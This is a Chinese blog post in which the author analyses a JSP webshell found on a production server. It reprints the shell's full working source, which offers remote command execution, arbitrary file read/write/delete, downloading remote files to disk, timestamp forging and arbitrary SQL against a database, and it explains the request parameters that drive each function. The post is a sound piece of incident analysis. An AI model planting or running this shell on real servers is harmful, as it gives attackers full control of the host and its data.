• 在生产环境中碰见的JSP木马-sunziren


      写在前面,本文仅做为技术交流的用途,请不要使用本文中的技术破坏他人的网站及系统,因为这是违法的!!!本人不负任何法律责任!!!  


       19年1月份,发现了一个JSP木马文件,当时觉得有点奇怪的是,这个文件没有在上传目录,而是在相当于windows系统桌面的位置,我怀疑应该是这个木马把自己转移了。

      这个木马是一个JSP文件,通过在访问该文件的时候传递参数,就能调用该文件中对应的方法,从而实现对系统的各种功能。

      先上源代码:

    <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%!
        String Pwd="justtest123";
        String EC(String s,String c)throws Exception{
            return s;
        }
        //new String(s.getBytes("ISO-8859-1"),c);}
        Connection GC(String s)throws Exception{
            String[] x=s.trim().split("
    ");
            Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
            Connection c=DriverManager.getConnection("jdbc:oracle:thin:@192.168.0.107:1521:test");
            System.out.println("数据库连接获取完毕");
            if(x.length>2){
                c.setCatalog("jdbc:oracle:thin:@192.168.0.107:1521:test");
            }
            return c;
        }
        void AA(StringBuffer sb)throws Exception{
            File r[]=File.listRoots();
            for(int i=0;i<r.length;i++){
                sb.append(r[i].toString().substring(0,2));
            }
        }
        void BB(String s,StringBuffer sb)throws Exception{
            File oF=new File(s),l[]=oF.listFiles();
            String sT, sQ,sF="";
            java.util.Date dt;
            SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            for(int i=0;i<l.length;i++){
                dt=new java.util.Date(l[i].lastModified());
                sT=fm.format(dt);
                sQ=l[i].canRead()?"R":"";
                sQ+=l[i].canWrite()?" W":"";
                if(l[i].isDirectory()){
                    sb.append(l[i].getName()+"/	"+sT+"	"+l[i].length()+"	"+sQ+"
    ");
                }else{
                    sF+=l[i].getName()+"	"+sT+"	"+l[i].length()+"	"+sQ+"
    ";
                }
            }
            sb.append(sF);
        }
        void EE(String s)throws Exception{
            File f=new File(s);
            if(f.isDirectory()){
                File x[]=f.listFiles();
                for(int k=0;k<x.length;k++){
                    if(!x[k].delete()){
                        EE(x[k].getPath());
                    }
                }
            }
            f.delete();
        }
        void FF(String s,HttpServletResponse r)throws Exception{
            int n;
            byte[] b=new byte[512];
            r.reset();
            ServletOutputStream os=r.getOutputStream();
            BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
            os.write(("->"+"|").getBytes(),0,3);
            while((n=is.read(b,0,512))!=-1){
                os.write(b,0,n);
            }
            os.write(("|"+"<-").getBytes(),0,3);
            os.close();
            is.close();
        }
        void GG(String s, String d)throws Exception{
            String h="0123456789ABCDEF";
            int n;
            File f=new File(s);
            f.createNewFile();
            FileOutputStream os=new FileOutputStream(f);
            for(int i=0;i<d.length();i+=2){
                os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));
            }
            os.close();
        }
        void HH(String s,String d)throws Exception{
            File sf=new File(s),df=new File(d);
            if(sf.isDirectory()){
                if(!df.exists()){
                    df.mkdir();
                }
                File z[]=sf.listFiles();
                for(int j=0;j<z.length;j++){
                    HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());
                }
            }else{
                FileInputStream is=new FileInputStream(sf);
                FileOutputStream os=new FileOutputStream(df);
                int n;
                byte[] b=new byte[512];
                while((n=is.read(b,0,512))!=-1){
                    os.write(b,0,n);
                }
                is.close();
                os.close();
            }
        }
        void II(String s,String d)throws Exception{
            File sf=new File(s),df=new File(d);
            sf.renameTo(df);
        }
        void JJ(String s)throws Exception{
            File f=new File(s);
            f.mkdir();
        }
        void KK(String s,String t)throws Exception{
            File f=new File(s);
            SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            java.util.Date dt=fm.parse(t);
            f.setLastModified(dt.getTime());
        }
        void LL(String s, String d)throws Exception{
            URL u=new URL(s);
            int n;FileOutputStream os=new FileOutputStream(d);
            HttpURLConnection h=(HttpURLConnection)u.openConnection();
            InputStream is=h.getInputStream();
            byte[] b=new byte[512];
            while((n=is.read(b,0,512))!=-1){
                os.write(b,0,n);
            }
            os.close();
            is.close();
            h.disconnect();
        }
        void MM(InputStream is, StringBuffer sb)throws Exception{
            String l;
            BufferedReader br=new BufferedReader(new InputStreamReader(is));
            while((l=br.readLine())!=null){
                sb.append(l+"
    ");
            }
        }
        void NN(String s,StringBuffer sb)throws Exception{
            System.out.println("进入了NN方法");
            Connection c=GC(s);
            System.out.println("GC方法执行完毕");
            ResultSet r=c.getMetaData().getCatalogs();
            while(r.next()){
                System.out.println(r.getString(1));
                sb.append(r.getString(1)+"	");
            }
            r.close();
            c.close();
        }
        void OO(String s,StringBuffer sb)throws Exception{
            Connection c=GC(s);
            String[] t={"TABLE"};
            ResultSet r=c.getMetaData().getTables (null,null,"%",t);
            while(r.next()){
                sb.append(r.getString("TABLE_NAME")+"	");
            }
            r.close();
            c.close();
        }
        void PP(String s,StringBuffer sb)throws Exception{
            String[] x=s.trim().split("
    ");
            Connection c=GC(s);
            Statement m=c.createStatement(1005,1007);
            ResultSet r=m.executeQuery("select * from "+x[3]);
            ResultSetMetaData d=r.getMetaData();
            for(int i=1;i<=d.getColumnCount();i++){
                sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")	");
            }
            r.close();
            m.close();
            c.close();
        }
        void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{
            int i;
            Connection c=GC(s);
            Statement m=c.createStatement(1005,1008);
            try{
                ResultSet r=m.executeQuery(q);
                ResultSetMetaData d=r.getMetaData();
                int n=d.getColumnCount();
                for(i=1;i<=n;i++){
                    sb.append(d.getColumnName(i)+"	|	");
                }
                sb.append("
    ");
                while(r.next()){
                    for(i=1;i<=n;i++){
                        sb.append(EC(r.getString(i),cs)+"	|	");
                    }
                    sb.append("
    ");
                }
                r.close();
            }catch(Exception e){
                sb.append("Result	|	
    ");
                try{
                    m.executeUpdate(q);
                    sb.append("Execute Successfully!	|	
    ");
                }catch(Exception ee){
                    sb.append(ee.toString()+"	|	
    ");
                }
            }
            m.close();
            c.close();
        }
    %>
    <%
        String cs=request.getParameter("z0")+"";
        request.setCharacterEncoding(cs);
        response.setContentType("text/html;charset="+cs);
        String Z=EC(request.getParameter("z")+"",cs);
        String z1=EC(request.getParameter("z1")+"",cs);
        String z2=EC(request.getParameter("z2")+"",cs);
        StringBuffer sb=new StringBuffer("");
        System.out.println(Z);
        try{
            sb.append("->"+"|");
            if(Z.equals("A")){
                String s=new File(application.getRealPath(request.getRequestURI())).getParent();
                sb.append(s+"	");
                if(!s.substring(0,1).equals("/")){
                    AA(sb);
                }
            }else if(Z.equals("B")){
                BB(z1,sb);
            }else if(Z.equals("C")){
                String l="";
                BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
                while((l=br.readLine())!=null){
                    sb.append(l+"
    ");
                }
                br.close();
            }else if(Z.equals("D")){
                BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
                bw.write(z2);
                bw.close();
                sb.append("1");
            }else if(Z.equals("E")){
                EE(z1);
                sb.append("1");
            }else if(Z.equals("F")){
                FF(z1,response);
            }else if(Z.equals("G")){
                GG(z1,z2);
                sb.append("1");
            }else if(Z.equals("H")){
                System.out.println("进入了H");
                HH(z1,z2);
                sb.append("1");
            }else if(Z.equals("I")){
                II(z1,z2);
                sb.append("1");
            }else if(Z.equals("J")){
                JJ(z1);
                sb.append("1");
            }else if(Z.equals("K")){
                KK(z1,z2);
                sb.append("1");
            }else if(Z.equals("L")){
                LL(z1,z2);
                sb.append("1");
            }else if(Z.equals("M")){
                String[] c={z1.substring(2),z1.substring(0,2),z2};
                Process p=Runtime.getRuntime().exec(c);
                MM(p.getInputStream(),sb);
                MM(p.getErrorStream(),sb);
            }else if(Z.equals("N")){
                NN(z1,sb);
            }else if(Z.equals("O")){
                OO(z1,sb);
            }else if(Z.equals("P")){
                PP(z1,sb);
            }else if(Z.equals("Q")){
                QQ(cs,z1,z2,sb);
            }
        }catch(Exception e){
            sb.append("ERROR"+":// "+e.toString());
        }
        sb.append("|"+"<-");
        out.print(sb.toString());
    %>

      简单的浏览该源代码发现该木马文件分为两部分,上边的方法区和下边的参数识别区。参数总共有四个,分别是:z0,z,z1,z2。z0传递的是字符集编码格式,一般传递的是“utf-8”。z传递的是你想要调用的方法的名字,例如,根据上面代码中的规则,z传递‘A’就表示你想要调用‘AA’方法。参数z1和z2是不同的方法所需的不同的含义的参数,也就是说,调用不同的方法,需要传递的z1和z2参数是不同的。有的方法也可能不需要传递z1和z2参数。

      参数中的内容需要用urlencode转码。

      我测试了一下,方法ABCDEFG的功能大概如下:(注意请不要将文中技术用于非法途径,本人不负任何法律责任)

    A: 获取当前木马的绝对路径和系统所有卷标。

    B: 根据z1所指示的路径返回所有文件夹名和文件名,并标注了每个记录的最后修改时间和该记录是否可读写。路径为windows绝对路径,参数要使用urlencode编码。

    C: 获取指定文件的内容。z1需要精确到文件名。

    D: 将z2参数中的内容覆盖性的写入z1所指定的文件中。如果写入成功页面会显示->|1|<-。

    E: 删除z1参数指定的文件或目录,如果是文件直接删除,如果是文件夹,递归删除该文件夹中的文件和子文件夹。如果删除成功页面会显示->|1|<-。

    F: 返回指定文件的所有内容,包括第一行

    G: 没搞明白这个参数对应的方法是干什么的


      本文为作者sunziren原创文章,转载请提前告知,获得许可后方可转载。转载请注明出处。

      再次声明,本文仅作为技术交流研究用途,禁止进行任何非法用途的使用。

  • 相关阅读:
    INV接口管理器
    取会计科目之数字
    两个有用的oracle数据库运算:intersect和minus运算
    弹出“FRM40400:事务完成:已应用和保存X条记录
    JSP连接数据库
    javaScript JSP HTML Java CSS 注释
    Android开发环境搭建全过程
    用JAVA 实现“生产者-消费者”问题
    路由器如何当交换机使用
    validateJarFile jar not loaded. See Servlet Spec 2.3, section 9.7.2. Offending class: javax/servlet
  • 原文地址:https://www.cnblogs.com/sunziren/p/10332986.html
Copyright © 2020-2023  润新知